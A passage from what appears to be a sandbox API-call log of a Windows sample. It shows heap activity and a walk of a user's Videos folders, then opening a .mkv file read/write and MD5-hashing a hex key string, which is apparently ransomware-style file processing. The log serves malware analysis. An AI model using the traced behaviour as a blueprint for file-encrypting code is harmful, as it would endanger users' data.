ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x214) returned 0x30d39c8 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2058 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e1da0 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2a50 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2968 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2880 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2228 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e24e0 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3190 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3278 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3360 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3448 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3530 [0062.309] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e3618 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e26b0 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2310 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e23f8 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2c20 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2d08 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2df0 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2ed8 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2fc0 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e30a8 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2798 | out: hHeap=0x670000) returned 1 [0062.309] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2140 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2b38 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306e268 | out: hHeap=0x670000) returned 1 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee980 | out: hHeap=0x670000) returned 1 [0062.310] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0062.310] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0062.310] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31153b0 [0062.310] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.310] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.310] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.314] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.314] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0062.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0062.315] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.315] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\") returned="3YQcDZAJgPao0vK26HVe\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\") returned="aqq4ZugPM-uIfNTNxref\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.315] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.315] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.315] PathFindFileNameW (pszPath="") returned="" [0062.315] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb390fe80, ftCreationTime.dwHighDateTime=0x1d4cdac, ftLastAccessTime.dwLowDateTime=0xa3f5cd60, ftLastAccessTime.dwHighDateTime=0x1d4c73b, ftLastWriteTime.dwLowDateTime=0xa3f5cd60, ftLastWriteTime.dwHighDateTime=0x1d4c73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.316] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb390fe80, ftCreationTime.dwHighDateTime=0x1d4cdac, ftLastAccessTime.dwLowDateTime=0xa3f5cd60, ftLastAccessTime.dwHighDateTime=0x1d4c73b, ftLastWriteTime.dwLowDateTime=0xa3f5cd60, ftLastWriteTime.dwHighDateTime=0x1d4c73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.316] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59cba3e0, ftCreationTime.dwHighDateTime=0x1d4cfe7, ftLastAccessTime.dwLowDateTime=0xe6e8b860, ftLastAccessTime.dwHighDateTime=0x1d4d59d, ftLastWriteTime.dwLowDateTime=0xe6e8b860, ftLastWriteTime.dwHighDateTime=0x1d4d59d, nFileSizeHigh=0x0, nFileSizeLow=0x4b32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9vWEh.mkv", cAlternateFileName="")) returned 1 [0062.316] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\9vWEh.mkv") returned=".mkv" [0062.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\3YQcDZAJgPao0vK26HVe\\9vWEh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\3yqcdzajgpao0vk26hve\\9vweh.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.316] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=19250) returned 1 [0062.316] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.318] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4b0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.318] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.319] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4b32, lpOverlapped=0x0) returned 1 [0062.319] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.319] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.319] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.319] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74eb40) returned 1 [0062.320] CryptCreateHash (in: hProv=0x74eb40, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.320] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.320] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, 